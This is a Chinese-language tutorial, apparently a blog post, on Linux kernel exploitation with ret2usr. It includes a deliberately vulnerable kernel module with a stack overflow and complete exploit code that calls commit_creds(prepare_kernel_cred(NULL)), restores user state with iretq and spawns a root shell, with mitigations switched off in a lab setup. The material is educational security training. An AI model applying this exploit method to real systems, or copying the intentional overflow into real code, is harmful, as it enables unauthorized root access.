全网最顶课程系列-linux内核漏洞开发,来喽!!!
顶不顶你们说了算
Linux 内核漏洞利用 - ret2usr
用户态漏洞利用的目标是获取代码执行权限并诱使进程生成 shell。内核态漏洞利用的主要目标是更改当前进程的权限。
下一节将展示一个自定义内核模块中的简单漏洞,即基于栈的缓冲区溢出,并描述如何利用该漏洞。
注意
这里没有启用 KASLR、PTI、SMEP 或 SMAP 等漏洞利用缓解措施。所有这些缓解措施以及如何利用它们将在后续文章中进行解释。
前提条件
这里可以找到关于如何构建调试环境的描述:Linux 内核漏洞利用 - 环境搭建。本示例将使用该环境。在开发过程中,应该修改 init 脚本以 root 权限启动 shell。
#!/bin/sh
for i in `find ".ko" /modules`
do
insmod $i
done
mount -t proc none /proc
mount -t sysfs none /sys
mdev -s
chmod 666 /dev/stack_bof
exec /bin/sh
#setuidgid 1000 /bin/sh
如果漏洞利用完成,init 脚本应该更改为以较低权限启动 shell。
#!/bin/sh
for i in `find ".ko" /modules`
do
insmod $i
done
mount -t proc none /proc
mount -t sysfs none /sys
mdev -s
chmod 666 /dev/stack_bof
#exec /bin/sh
setuidgid 1000 /bin/sh
漏洞
以下摘录展示了本博客文章中用于演示漏洞利用方法的内核模块的源代码:
#include <linux/compiler.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/uaccess.h>
MODULE_DESCRIPTION("vuln1");
MODULE_AUTHOR("sash");
MODULE_LICENSE("GPL");
#define IOCTL_VULN1_WRITE 4141
static int vuln1_open(struct inode *inode, struct file *file)
{
return 0;
}
static int vuln1_release(struct inode *inodep, struct file *filp)
{
return 0;
}
static noinline int vuln1_do_breakstuff(unsigned long addr)
{
char buffer[256];
volatile int size = 512;
return _copy_from_user(&buffer, (void __user *)addr, size);
}
static long vuln1_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
{
long to_return;
switch (cmd) {
case IOCTL_VULN1_WRITE:
to_return = vuln1_do_breakstuff(value);
break;
default:
to_return = -EINVAL;
break;
}
return to_return;
}
static const struct file_operations vuln1_file_ops = {
.owner = THIS_MODULE,
.open = vuln1_open,
.unlocked_ioctl = vuln1_ioctl,
.release = vuln1_release,
.llseek = no_llseek,
};
struct miscdevice vuln1_device = {
.minor = MISC_DYNAMIC_MINOR,
.name = "vuln",
.fops = &vuln1_file_ops,
.mode = 0666,
};
module_misc_device(vuln1_device);
当使用 ioctl 系统调用时,会调用 vuln1_ioctl
函数。该模块为系统调用提供了一个操作 (IOCTL_VULN1_WRITE
),该操作在内部调用 vuln1_do_breakstuff
。vuln1_do_breakstuff
函数有一个非常明显的漏洞。它从用户空间读取 512 个字节到一个 256 字节的缓冲区中。该函数调用 _copy_from_user
而不是 copy_from_user
,是为了防止已实现的安全检查缓解缓冲区溢出。
注意
要编译内核模块,可以使用这里的说明。如果这不是一个选项,可以从这里下载所有资源。
该模块创建了杂项设备 /dev/vuln
,可以使用 open
打开并使用 ioctl()
系统调用访问。
#include "stdlib.h"
#include "stdio.h"
#include "string.h"
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define IOCTL_VULN1_WRITE 4141
void ioctl_write(int fd){
char buffer[512];
memset(buffer, 0x41, sizeof(buffer));
ioctl(fd, IOCTL_VULN1_WRITE, &buffer);
}
void main()
{
int fd;
fd = open("/dev/vuln", 0);
if (fd < 0) {
printf ("Cannot open device file");
exit(-1);
}
ioctl_write(fd);
close(fd);
}
在main函数中打开设备。函数 ioctl_write
展示了如何使用带有 IOCTL_VULN1_WRITE
命令的 ioctl
系统调用向设备写入数据。
方法
如前所述,在用户态漏洞利用中,漏洞利用通常会跳转到一个弹出 shell 的 shellcode。在内核态中,ret2usr 方法是最简单的内核态方法,它不会跳转到真正的 shellcode,而是跳转到内核态函数以将权限更改为 root,最后返回用户态。
在这个例子中,使用了最常见的方法:
- 获取 root 权限
- 恢复用户上下文并切换到用户态和提供的函数指针
1. 获取 root 权限
获取 root 权限的常用方法是调用 prepare_kernel_cred
和 commit_creds
。以下部分解释了这些函数的作用以及为什么在漏洞利用中使用这些函数是有意义的。
在内核中,每个任务(在用户态中称为进程)都由一个 task_struct
结构表示。该结构包含有关任务的所有信息。存储在该结构中的一个信息是有关任务凭据的信息。它存储在 struct cred
结构中,并由 struct cred *cred
指针引用,该指针是 task_struct
的一部分。
struct task_struct {
#ifdef CONFIG_THREAD_INFO_IN_TASK
/*
* For reasons of header soup (see current_thread_info()), this
* must be the first element of task_struct.
*/
struct thread_info thread_info;
#endif
/* -1 unrunnable, 0 runnable, >0 stopped: */
volatile long state;
/*
* This begins the randomizable portion of task_struct. Only
* scheduling-critical items should be added above here.
*/
randomized_struct_fields_start
void *stack;
refcount_t usage;
/* Per task flags (PF_*), defined further below: */
unsigned int flags;
unsigned int ptrace;
[...]
/* Process credentials: */
/* Tracer's credentials at attach: */
const struct cred __rcu *ptracer_cred;
/* Objective and real subjective task credentials (COW): */
const struct cred __rcu *real_cred;
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
[...]
};
如下面的摘录所示,struct cred
包含所有 ID,如 uid、gid、euid 等。
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct ucounts *ucounts;
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;
函数 prepare_kernel_cred
返回一个指向 struct cred
的引用。
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
const struct cred *old;
struct cred *new;
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_kernel_cred() alloc %p", new);
if (daemon)
old = get_task_cred(daemon);
else
old = get_cred(&init_cred);
validate_creds(old);
*new = *old;
new->non_rcu = 0;
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_uid(new->user);
get_user_ns(new->user_ns);
get_group_info(new->group_info);
#ifdef CONFIG_KEYS
new->session_keyring = NULL;
new->process_keyring = NULL;
new->thread_keyring = NULL;
new->request_key_auth = NULL;
new->jit_keyring = KEY_REQKEY_DEFL_THREAD_KEYRING;
#endif
#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
new->ucounts = get_ucounts(new->ucounts);
if (!new->ucounts)
goto error;
if (security_prepare_creds(new, old, GFP_KERNEL_ACCOUNT) < 0)
goto error;
put_cred(old);
validate_creds(new);
return new;
error:
put_cred(new);
put_cred(old);
return NULL;
}
EXPORT_SYMBOL(prepare_kernel_cred);
该函数需要一个参数,该参数是指向 struct task_struct
的指针,但它可以为空。如果参数不为空,则用于从该任务读取凭据 (struct cred
)。如果参数为空,则使用对 init_cred
的引用。init_cred
是一个准备好的 struct cred
,用于初始任务并代表 root。
struct cred init_cred = {
.usage = ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
.subscribers = ATOMIC_INIT(2),
.magic = CRED_MAGIC,
#endif
.uid = GLOBAL_ROOT_UID,
.gid = GLOBAL_ROOT_GID,
.suid = GLOBAL_ROOT_UID,
.sgid = GLOBAL_ROOT_GID,
.euid = GLOBAL_ROOT_UID,
.egid = GLOBAL_ROOT_GID,
.fsuid = GLOBAL_ROOT_UID,
.fsgid = GLOBAL_ROOT_GID,
.securebits = SECUREBITS_DEFAULT,
.cap_inheritable = CAP_EMPTY_SET,
.cap_permitted = CAP_FULL_SET,
.cap_effective = CAP_FULL_SET,
.cap_bset = CAP_FULL_SET,
.user = INIT_USER,
.user_ns = &init_user_ns,
.group_info = &init_groups,
.ucounts = &init_ucounts,
};
这意味着,如果以 prepare_kernel_cred(null)
这种方式调用该函数,它将返回一个指向具有 root 权限的 struct cred
结构的引用。为了分配这些新凭据,需要使用 commit_creds
函数。该函数接受新凭据作为参数,并将它们分配给当前任务。
为了将 root 权限设置给当前任务,只需执行 commit_creds(perpare_kernel_creds(null));
这样的调用即可。
2. 恢复用户上下文并切换到用户态
漏洞利用执行的最后一步是跳转到位于用户态的函数。如果漏洞利用在获得 root 权限后立即跳转到用户态函数,则所有重要的寄存器(如 RSP、RFLAGS 或段寄存器 CS 和 SS)仍然指向内核态。这些段甚至栈都无法从用户态访问。因此,必须由漏洞利用手动恢复。为了实现这一点,必须在切换到内核态(ioctl 调用)之前存储用户上下文(所有必要的寄存器)。
unsigned long u_cs;
unsigned long u_ss;
unsigned long u_rsp;
unsigned long u_rflags;
unsigned long u_rip;
void save_state() {
__asm__(
".intel_syntax noprefix;"
"mov u_cs, cs;"
"mov u_ss, ss;"
"mov u_rsp, rsp;"
"pushf;"
"pop u_rflags;"
".att_syntax;"
);
u_rip = (unsigned long)&start_sh;
}
当前的 RIP 没有被存储。在权限提升之后,调用一个执行所有应该以更高权限执行的操作的函数是有意义的。在这个例子中,使用了一个启动 shell 的函数。
void start_sh() {
char *args[] = {"/bin/sh", "-i", NULL};
execve("/bin/sh", args, NULL);
}
由于可以使用 swapgs
指令恢复 GS 寄存器,因此不需要保存它。swapgs
是一条特权指令,它将 gs 寄存器从内核态交换到用户态,反之亦然。
由于所有必要的值都已存储,因此可以在调用 commit_creds
后恢复它们。
void restore_state() {
__asm__(
".intel_syntax noprefix;"
"swapgs;""push u_ss;" // restore gs reg and push all
"push u_rsp;" // other values to the stack
"push u_rflags;"
"push u_cs;"
"push u_rip;" // points to start_sh
"iretq;"
".att_syntax;"
);
}
所有存储的值都被压入栈中,因为它们会由 iretq
指令自动恢复。该指令是从系统调用返回,因此类似于函数调用的 ret
。由于 iretq
调用,它会从系统调用返回并切换回用户态。由于存储的 user_rip
指向 start_sh
,因此该函数将在返回后执行。
漏洞利用
现在将所有内容组合在一起以实现一个有效的漏洞利用。
- 找到
commit_creds
和prepare_kernel_cred
的地址 - 保存用户状态
- 溢出缓冲区并用以下功能的地址覆盖返回地址:
- 调用
commit_creds(prepare_kernel_cred(null))
- 恢复用户状态并调用
iretq
- 调用
上面已经展示了所有必要的函数。唯一缺少的是 commit_creds
和 prepare_kernel_cred
函数的地址,以及从缓冲区开头到返回地址的偏移量。
可以通过多种方式找到函数的地址:
- 在
/proc/kallsyms
中查找地址 - 在 gdb 中打印地址
要从 /proc/kallsyms
读取内核符号,需要 root 权限。
# cat /proc/kallsyms | grep prepare_kernel_cred
ffffffff810d2950 T prepare_kernel_cred
# cat /proc/kallsyms | grep commit_creds
ffffffff810d26f0 T commit_creds
可以很容易地从函数的反汇编代码中读取偏移量:
;-- vuln1_do_breakstuff:
; CALL XREF from sub.vuln1_ioctl_80000f0 @ 0x8000104(x)
┌ 50: sub.vuln1_do_breakstuff_80000b0 ();
│ ; var int64_t var_100h @ rbp-0x100
│ ; var int64_t var_104h @ rbp-0x104
│ 0x080000b0 e800000000 call __fentry__ ; RELOC 32 __fentry__
│ ; CALL XREF from sub.vuln1_do_breakstuff_80000b0 @ 0x80000b0(x)
│ 0x080000b5 55 push rbp
│ 0x080000b6 4889fe mov rsi, rdi
│ 0x080000b9 4889e5 mov rbp, rsp
│ 0x080000bc 4881ec0801.. sub rsp, 0x108
│ 0x080000c3 c785fcfeff.. mov dword [var_104h], 0x200 ; 512
│ 0x080000cd 486395fcfe.. movsxd rdx, dword [var_104h]
│ 0x080000d4 488dbd00ff.. lea rdi, [var_100h]
│ 0x080000db e800000000 call _copy_from_user ; RELOC 32 _copy_from_user
│ ; CALL XREF from sub.vuln1_do_breakstuff_80000b0 @ 0x80000db(x)
│ 0x080000e0 c9 leave
└ 0x080000e1 c3 ret
在偏移量 0x080000d4 处,缓冲区的地址作为函数调用 _copy_from_user
的第一个参数被移动到 RDI 中。因此,缓冲区的地址为 RBP-0x100。这意味着到 RBP 的偏移量为 0x100。RBP 指向保存的帧指针。保存的帧指针后面的值是返回地址,这意味着从缓冲区开头到返回地址的偏移量为 0x108。
以下摘录展示了漏洞利用代码:
#include "stdlib.h"
#include "stdio.h"
#include "string.h"
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#define IOCTL_VULN1_WRITE 4141
#define COMMIT_CREDS_ADDRESS 0xffffffff810d26f0ul
#define PREPARE_KERNEL_CRED_ADDRESS 0xffffffff810d2950ul
typedef int (* t_commit_creds)(void *);
typedef void *(* t_prepare_kernel_cred)(void *);
t_commit_creds commit_creds = (t_commit_creds)COMMIT_CREDS_ADDRESS;
t_prepare_kernel_cred prepare_kernel_cred = (t_prepare_kernel_cred)PREPARE_KERNEL_CRED_ADDRESS;
unsigned long u_cs;
unsigned long u_ss;
unsigned long u_rsp;
unsigned long u_rflags;
unsigned long u_rip;
void start_sh() {
char *args[] = {"/bin/sh", "-i", NULL};
execve("/bin/sh", args, NULL);
}
void save_state() {
__asm__(
".intel_syntax noprefix;"
"mov u_cs, cs;"
"mov u_ss, ss;"
"mov u_rsp, rsp;"
"pushf;"
"pop u_rflags;"
".att_syntax;"
);
u_rip = (unsigned long)&start_sh;
}
void restore_state() {
__asm__(
".intel_syntax noprefix;"
"swapgs;""push u_ss;" // restore gs reg and push all
"push u_rsp;" // other values to the stack
"push u_rflags;"
"push u_cs;"
"push u_rip;" // points to start_sh
"iretq;"
".att_syntax;"
);
}
void exploit(){
commit_creds(prepare_kernel_cred(NULL));
restore_state();
}
void ioctl_write(int fd){
char buffer[512];
memset(buffer, 0x41, sizeof(buffer));
// overwrite return address
*(unsigned long *)&buffer[0x108] = (unsigned long) &exploit;
//save user state
save_state();
// ioctl syscall
ioctl(fd, IOCTL_VULN1_WRITE, &buffer);
}
void main()
{
int fd;
// open the device
fd = open("/dev/vuln1", 0);
if (fd < 0) {
printf ("Cannot open device file");
exit(-1);
}
ioctl_write(fd);
close(fd);
}
该漏洞利用程序需要使用 gcc -static vuln1_exploit.c -o vuln1_exploit
进行静态编译,然后放入 initramfs 文件中。
此外,应该将 chmod 666 /dev/vuln
添加到 init 脚本中,以确保普通用户可以访问该设备。